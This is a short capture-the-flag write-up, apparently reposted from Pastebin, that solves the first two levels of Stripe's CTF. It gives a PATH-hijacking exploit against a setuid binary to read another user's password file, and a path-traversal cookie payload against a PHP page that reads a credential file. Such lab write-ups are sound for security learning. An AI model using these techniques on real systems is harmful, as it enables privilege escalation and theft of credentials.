Stripe's Capture the Flag Solutions - Pastebin.com

2 min read Original article ↗
  1. Stripe "Capture the Flag" - SOLUTIONS

  2. Solution for the first two levels.

  3. Disclaimer: if you need to read this to solve either of the first two levels, you obviously do not have enough skills to solve many, if any, of the future levels. And you're definitely not going to be the first one to capture the final flag.

  4. If you enjoy a challenge, stop reading now ... !

  5. ...

  6. still here?

  7. ...

  8. okay, let's roll ...

  9. Level 01

  10. This level exploits a suid vulnerability. If you look at the source provided, you'll see the C code is making a "date" system call. The script we're going to execute runs as level02. We need to somehow get the script to output level02's password.

  11. Let's create our own "date" executable, then change the PATH variable so that it gets called first, before the system "date" executable.

  12. ( enter provided password)

  13. > mkdir /tmp/pwn-level-one-1234rand

  14. > cd /tmp/pwn-level-one-1234rand

  15. > vi date

  16. Set contents of date to:

  17. cat /home/level02/.password

  18. > chmod +x date

  19. > PATH=/tmp/pwn-level-one-1234rand:$PATH;

  20. > export PATH

  21. Now we run the script that's setuid as level02:

  22. > /levels/level01

  23. It should output Level 2's password! If not, you did something wrong.

  24. Level 2

  25. This one's even easier than the first one, if you're familiar with PHP & cookies. NOM NOM NOM

  26. Login as the level02 user using the password you obtained from the level01 sploit.

  27. Visit:

  28. http://ctf.stri.pe/level02.php

  29. Enter the level02 credentials.

  30. Back in ssh:

  31. > cat /var/www/level02.php

  32. Notice this line:

  33. $out = file_get_contents('/tmp/level02/'.$_COOKIE['user_details']);

  34. It gets executed if the cookie is already set.

  35. See the problem here?

  36. Cookies are stored client-side, so they can be fussed with. What if we changed the cookie to, oh, say ... "=../../etc/passwd" ?

  37. Note: you need the leading "=" for the cookie to be formatted properly.

  38. Using your favorite Cookie Editor (Chrome, Firefox, whatever), set the "user_details" cookie to:

  39. =../../home/level03/.password

  40. And re-submit the form. You should have your Level 3 password by now.

  41. Aaaand that's all, folks.

  42. I'll leave the higher levels sploits to the real hackers out there.